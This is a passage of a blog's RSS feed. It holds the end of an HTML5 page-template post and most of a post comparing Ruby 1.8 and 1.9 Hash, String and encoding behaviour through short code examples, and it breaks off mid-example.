&lt;title&gt;My shiny site&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;header&gt;
&lt;nav&gt;
&lt;ul&gt;
&lt;li&gt;Menu item&lt;/li&gt;
&lt;/ul&gt;
&lt;/nav&gt;
&lt;/header&gt;
&lt;section&gt;
&lt;article&gt;
&lt;header&gt;
&lt;h2&gt;Article title&lt;/h2&gt;
&lt;p&gt;Posted on &lt;time datetime="2011-04-15T16:31:24+02:00"&gt;April 15th 2011&lt;/time&gt; by &lt;a href="#"&gt;Writer&lt;/a&gt; – &lt;a href="#comments"&gt;6 comments&lt;/a&gt;&lt;/p&gt;
&lt;/header&gt;
&lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
&lt;/article&gt;
&lt;article&gt;
&lt;header&gt;
&lt;h2&gt;Article title&lt;/h2&gt;
&lt;p&gt;Posted on &lt;time datetime="2011-04-15T16:31:24+02:00"&gt;April 15th 2011&lt;/time&gt;  by &lt;a href="#"&gt;Writer&lt;/a&gt; – &lt;a href="#comments"&gt;6 comments&lt;/a&gt;&lt;/p&gt;
&lt;/header&gt;
&lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
&lt;/article&gt;
&lt;/section&gt;
&lt;aside&gt;
&lt;h2&gt;About section&lt;/h2&gt;
&lt;p&gt;Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.&lt;/p&gt;
&lt;/aside&gt;
&lt;footer&gt;
&lt;p&gt;Copyright 2011 Your name&lt;/p&gt;
&lt;/footer&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p></span></pre>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Enhanced by Zemanta" href="http://www.zemanta.com/"><img class="zemanta-pixie-img" style="border: none; float: right;" src="http://blog.mostof.it/wp-content/uploads/2011/04/zemified_e.png?x-id=bc805c87-1eb2-4b54-b23b-ac2a04756759" alt="Enhanced by Zemanta" /></a></div>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/7wwgaSv2XEpjJtQvMPpVc-1026Y/0/da"><img src="http://feedads.g.doubleclick.net/~a/7wwgaSv2XEpjJtQvMPpVc-1026Y/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/7wwgaSv2XEpjJtQvMPpVc-1026Y/1/da"><img src="http://feedads.g.doubleclick.net/~a/7wwgaSv2XEpjJtQvMPpVc-1026Y/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/x_3ry1UqyXE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/html5-page-structure/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/html5-page-structure/</feedburner:origLink></item>
		<item>
		<title>Ruby 1.9 changes, cherry picked</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/HieJXeY7h20/</link>
		<comments>http://blog.mostof.it/ruby-1-9-changes-cherry-picked/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 10:58:44 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[review]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[1.8]]></category>
		<category><![CDATA[1.9]]></category>
		<category><![CDATA[changes]]></category>
		<category><![CDATA[comparison]]></category>
		<category><![CDATA[improvements]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=362</guid>
		<description><![CDATA[In this post I look at some hand-picked changes in ruby 1.9 including new features and deprecations. Of course you can check the full changelog anytime at the main Ruby Language Site.

Ruby 1.9 brought forth some very nice and important changes which have been refined in v1.9.1 and v1.9.2. Naturally upgrades come with a ...]]></description>
			<content:encoded><![CDATA[<p></p><p><a rel="attachment wp-att-364" href="http://blog.mostof.it/ruby-1.9-changes-cherry-picked/attachment/8535/"><img class="alignleft size-thumbnail wp-image-364" title="Ruby 1.9 or bust!" src="http://blog.mostof.it/wp-content/uploads/2011/02/8535-150x150.png" alt="" width="150" height="150" /></a>In this post I look at some hand-picked changes in ruby 1.9 including new features and deprecations. Of course you can check the full changelog anytime at the main <a title="Ruby Language homepage" href="http://www.ruby-lang.org/">Ruby Language Site</a>.</p>
<p><strong>Ruby 1.9</strong> brought forth some very nice and important changes which have been refined in v1.9.1 and v1.9.2. Naturally upgrades come with a cost: some of the new features might/will break compatibility with old codes and solutions. I&#8217;ll show you the most important things to look out for and also some of the awesomeness of this new version of ruby.</p>
<p><span id="more-362"></span></p>
<h2>Some of the most important improvements in ruby 1.9</h2>
<ul>
<li>Much better threading &#8211; performance and tools are superior to ruby 1.8. Read more about threads and fibers at <a title="Ruby threads and fibers" href="http://paulbarry.com/articles/2010/04/01/fibers-in-ruby-1-9">Paul Barry&#8217;s blog</a>.</li>
<li>Unicode support, finally. Also a brand new encoding engine has been added. There&#8217;s a very informative blog post about this on <a title="Ruby 1.9 strings primer" href="http://yehudakatz.com/2010/05/05/ruby-1-9-encodings-a-primer-and-the-solution-for-rails/">Yehuda Katz&#8217;s blog</a>.</li>
<li>The interpreter&#8217;s performance had been vastly improved. Check out the (v1.9.0) <a title="Ruby 1.8 vs. 1.9 benchmark" href="http://rubychan.de/share/ruby_shootout.html">benchmark</a>.</li>
<li>Rubygems is now integrated into &#8216;ruby&#8217; itself.</li>
</ul>
<h2>Let&#8217;s look at the main incompatibilites that can break your code</h2>
<ul>
<li>The shiny new <a title="Ruby 1.9 String class RDoc" href="http://www.ruby-doc.org/ruby-1.9/classes/String.html">String class</a>.</li>
<li>Literal Hash constructor has changed.
<ul>
<li>{&#8220;a&#8221;, &#8220;b&#8221;} no longer makes a Hash but a nice syntax error. You have to use {&#8220;a&#8221; =&gt; &#8220;b&#8221;} or {:a =&gt; &#8220;b&#8221;} or  {a: &#8220;b&#8221;}</li>
</ul>
</li>
</ul>
<h2>Now for the other important changes and upgrades</h2>
<h3>Changes in the Hash class</h3>
<ul>
<li>Hash finally preserves insertion order
<ul>
<li>Ruby 1.8<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code6'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3626"><td class="code" id="p362code6"><pre class="ruby" style="font-family:monospace;">hash = <span style="color:#006600; font-weight:bold;">&#123;</span>:a<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'A'</span>, <span style="color:#ff3333; font-weight:bold;">:b</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'B'</span>, <span style="color:#ff3333; font-weight:bold;">:c</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'C'</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'D'</span><span style="color:#006600; font-weight:bold;">&#125;</span>
hash.<span style="color:#9900CC;">keys</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span>  <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:b</span>, <span style="color:#ff3333; font-weight:bold;">:c</span>, <span style="color:#ff3333; font-weight:bold;">:d</span>, <span style="color:#ff3333; font-weight:bold;">:a</span><span style="color:#006600; font-weight:bold;">&#93;</span>
hash.<span style="color:#9900CC;">values</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">&quot;B&quot;</span>, <span style="color:#996600;">&quot;C&quot;</span>, <span style="color:#996600;">&quot;D&quot;</span>, <span style="color:#996600;">&quot;A&quot;</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

</li>
<li>Ruby 1.9<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code7'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3627"><td class="code" id="p362code7"><pre class="ruby" style="font-family:monospace;">hash = <span style="color:#006600; font-weight:bold;">&#123;</span>:a<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'A'</span>, <span style="color:#ff3333; font-weight:bold;">:b</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'B'</span>, <span style="color:#ff3333; font-weight:bold;">:c</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'C'</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'D'</span><span style="color:#006600; font-weight:bold;">&#125;</span>
hash.<span style="color:#9900CC;">keys</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span>  <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:a</span>, <span style="color:#ff3333; font-weight:bold;">:b</span>, <span style="color:#ff3333; font-weight:bold;">:c</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">&#93;</span>
hash.<span style="color:#9900CC;">values</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">&quot;A&quot;</span>, <span style="color:#996600;">&quot;B&quot;</span>, <span style="color:#996600;">&quot;C&quot;</span>, <span style="color:#996600;">&quot;D&quot;</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

</li>
</ul>
</li>
<li>Hash#to_s behaves much nicer
<ul>
<li>Ruby 1.8<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code8'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3628"><td class="code" id="p362code8"><pre class="ruby" style="font-family:monospace;">hash = <span style="color:#006600; font-weight:bold;">&#123;</span>:a<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">1</span>, <span style="color:#ff3333; font-weight:bold;">:b</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">2</span>, <span style="color:#ff3333; font-weight:bold;">:c</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">3</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#125;</span>
hash.<span style="color:#9900CC;">to_s</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;b2c3d4a1&quot;</span></pre></td></tr></table></div>

</li>
<li>Ruby 1.9<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code9'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3629"><td class="code" id="p362code9"><pre class="ruby" style="font-family:monospace;">hash = <span style="color:#006600; font-weight:bold;">&#123;</span>:a<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">1</span>, <span style="color:#ff3333; font-weight:bold;">:b</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">2</span>, <span style="color:#ff3333; font-weight:bold;">:c</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">3</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#125;</span>
hash.<span style="color:#9900CC;">to_s</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;{:a=&gt;1, :b=&gt;2, :c=&gt;3, :d=&gt;4}&quot;</span></pre></td></tr></table></div>

</li>
</ul>
</li>
<li>Hash#select now returns a hash, not an array
<ul>
<li>Ruby 1.8<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code10'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36210"><td class="code" id="p362code10"><pre class="ruby" style="font-family:monospace;">hash = <span style="color:#006600; font-weight:bold;">&#123;</span>:a<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">1</span>, <span style="color:#ff3333; font-weight:bold;">:b</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">2</span>, <span style="color:#ff3333; font-weight:bold;">:c</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">3</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#125;</span>
hash.<span style="color:#CC0066; font-weight:bold;">select</span><span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>k,v<span style="color:#006600; font-weight:bold;">|</span> k == <span style="color:#ff3333; font-weight:bold;">:c</span> <span style="color:#006600; font-weight:bold;">&#125;</span>  ===<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:c</span>, <span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

</li>
<li>Ruby 1.9<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code11'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36211"><td class="code" id="p362code11"><pre class="ruby" style="font-family:monospace;">hash = <span style="color:#006600; font-weight:bold;">&#123;</span>:a<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">1</span>, <span style="color:#ff3333; font-weight:bold;">:b</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">2</span>, <span style="color:#ff3333; font-weight:bold;">:c</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">3</span>, <span style="color:#ff3333; font-weight:bold;">:d</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#125;</span>
hash.<span style="color:#CC0066; font-weight:bold;">select</span><span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>k,v<span style="color:#006600; font-weight:bold;">|</span> k == <span style="color:#ff3333; font-weight:bold;">:c</span> <span style="color:#006600; font-weight:bold;">&#125;</span> ===<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">&#123;</span>:c<span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#125;</span></pre></td></tr></table></div>

</li>
</ul>
</li>
</ul>
<h3>String changes</h3>
<ul>
<li>Single character strings
<ul>
<li>Ruby 1.8<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code12'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36212"><td class="code" id="p362code12"><pre class="ruby" style="font-family:monospace;">irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:001:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> ?c
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">99</span>	    
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:001:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#996600;">&quot;cat&quot;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">97</span></pre></td></tr></table></div>

</li>
<li>Ruby 1.9<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code13'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36213"><td class="code" id="p362code13"><pre class="ruby" style="font-family:monospace;">irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:001:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> ?c
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;c&quot;</span>
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:001:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#996600;">&quot;cat&quot;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span>
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;a&quot;</span></pre></td></tr></table></div>

</li>
</ul>
</li>
<li>Encoding, encoding, encoding
<ul>
<li>All strings have an additional chunk of info attached: Encoding<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code14'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36214"><td class="code" id="p362code14"><pre class="ruby" style="font-family:monospace;">ruby<span style="color:#006600; font-weight:bold;">-</span>1.9.2<span style="color:#006600; font-weight:bold;">-</span>p136 :003 <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#996600;">&quot;whatever&quot;</span>.<span style="color:#9900CC;">encoding</span>
 <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#008000; font-style:italic;">#&lt;Encoding:UTF-8&gt; </span>
ruby<span style="color:#006600; font-weight:bold;">-</span>1.9.2<span style="color:#006600; font-weight:bold;">-</span>p136 :004 <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#996600;">&quot;whatever&quot;</span>.<span style="color:#9900CC;">encoding</span>.<span style="color:#9900CC;">name</span>
 <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;UTF-8&quot;</span></pre></td></tr></table></div>

</li>
<li>String#size takes encoding into account &#8211; returns the encoded character count<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code15'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36215"><td class="code" id="p362code15"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">puts</span> utf8_string.<span style="color:#9900CC;">size</span>    <span style="color:#008000; font-style:italic;"># &gt;&gt; 6</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> latin1_string.<span style="color:#9900CC;">size</span>  <span style="color:#008000; font-style:italic;"># &gt;&gt; 6</span></pre></td></tr></table></div>

</li>
<li>You can get the raw datasize<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code16'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36216"><td class="code" id="p362code16"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">puts</span> utf8_string.<span style="color:#9900CC;">bytesize</span>    <span style="color:#008000; font-style:italic;"># &gt;&gt; 8</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> latin1_string.<span style="color:#9900CC;">bytesize</span>  <span style="color:#008000; font-style:italic;"># &gt;&gt; 6</span></pre></td></tr></table></div>

</li>
<li>Indexed access is by encoded data &#8211; characters, not bytes<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code17'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36217"><td class="code" id="p362code17"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">puts</span> utf8_string<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">2</span>..4<span style="color:#006600; font-weight:bold;">&#93;</span>    <span style="color:#008000; font-style:italic;"># &gt;&gt; sum</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> latin1_string<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">2</span>..4<span style="color:#006600; font-weight:bold;">&#93;</span>  <span style="color:#008000; font-style:italic;"># &gt;&gt; sum</span></pre></td></tr></table></div>

</li>
<li>You can change encoding by force but it doesn&#8217;t convert the data<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code18'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36218"><td class="code" id="p362code18"><pre class="ruby" style="font-family:monospace;">my_string = <span style="color:#996600;">&quot;Whatever&quot;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> my_string.<span style="color:#9900CC;">encoding</span>.<span style="color:#9900CC;">name</span>  <span style="color:#008000; font-style:italic;"># &gt;&gt; US-ASCII</span>
my_string.<span style="color:#9900CC;">force_encoding</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;UTF-8&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> my_string.<span style="color:#9900CC;">encoding</span>.<span style="color:#9900CC;">name</span>  <span style="color:#008000; font-style:italic;"># &gt;&gt; UTF-8</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># changing the encoding doesn't convert the data though!</span>
latin1_string.<span style="color:#9900CC;">force_encoding</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;UTF-8&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> latin1_string.<span style="color:#9900CC;">encoding</span>.<span style="color:#9900CC;">name</span>    <span style="color:#008000; font-style:italic;"># &gt;&gt; UTF-8</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> latin1_string.<span style="color:#9900CC;">bytesize</span>         <span style="color:#008000; font-style:italic;"># &gt;&gt; 6</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> latin1_string.<span style="color:#9900CC;">valid_encoding</span>?  <span style="color:#008000; font-style:italic;"># &gt;&gt; false</span>
latin1_string =~ <span style="color:#006600; font-weight:bold;">/</span>AR<span style="color:#006600; font-weight:bold;">/</span>  <span style="color:#008000; font-style:italic;"># !&gt; ArgumentError: invalid byte sequence in UTF-8</span></pre></td></tr></table></div>

</li>
<li>You can re-encode a string to &#8216;fix&#8217; the above &#8216;error&#8217;<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code19'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36219"><td class="code" id="p362code19"><pre class="ruby" style="font-family:monospace;">transcoded_utf8_string= latin1_string.<span style="color:#9900CC;">encode</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;UTF-8&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> transcoded_utf8_string.<span style="color:#9900CC;">valid_encoding</span>?  <span style="color:#008000; font-style:italic;"># &gt;&gt; true</span></pre></td></tr></table></div>

</li>
<li>Iterators have changed as String is not Enumerable anymore<br/>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code20'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36220"><td class="code" id="p362code20"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#Use each_byte, each_char or each_codepoint</span>
&nbsp;
utf8_resume.<span style="color:#9900CC;">each_byte</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>byte<span style="color:#006600; font-weight:bold;">|</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> byte
<span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 82</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 195</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 169</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 115</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 117</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 109</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 195</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 169</span>
&nbsp;
utf8_resume.<span style="color:#9900CC;">each_char</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>char<span style="color:#006600; font-weight:bold;">|</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> char
<span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; R</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; é</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; s</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; u</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; m</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; é</span>
&nbsp;
utf8_resume.<span style="color:#9900CC;">each_codepoint</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>codepoint<span style="color:#006600; font-weight:bold;">|</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> codepoint
<span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 82</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 233</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 115</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 117</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 109</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; 233</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># if you need custom processing, you can get the enumerators with bytes, chars, lines and codepoints</span>
&nbsp;
<span style="color:#CC0066; font-weight:bold;">p</span> utf8_resume.<span style="color:#9900CC;">bytes</span>.<span style="color:#9900CC;">first</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#41;</span>
